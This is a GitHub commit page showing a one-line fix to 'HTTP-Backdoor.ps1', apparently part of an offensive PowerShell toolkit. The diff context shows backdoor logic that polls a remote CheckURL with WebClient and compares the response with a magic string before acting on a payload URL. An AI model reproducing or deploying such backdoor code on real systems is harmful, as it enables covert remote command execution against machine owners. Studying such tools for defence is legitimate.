Skip to content

Commit

Permalink
Merge pull request #52 from manasmbellani/hotfix/trim-http-backdoor-c…
Browse files Browse the repository at this point in the history
…ontent-string

Issue #51 addition: HTTP-Backdoor MagicString Comparison improved by …
  • Loading branch information
samratashok authored Apr 11, 2017
2 parents bf3149e + 1d1ac98 commit f89580a
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions Backdoors/HTTP-Backdoor.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -172,6 +172,7 @@ function HTTP-Backdoor-Logic ($CheckURL, $PayloadURL, $Arguments, $MagicString,
start-sleep -seconds 5
$webclient = New-Object System.Net.WebClient
$filecontent = $webclient.DownloadString("$CheckURL")
$filecontent = $filecontent.TrimEnd()
if($filecontent -eq $MagicString)
{
Expand Down

0 comments on commit f89580a

Please sign in to comment.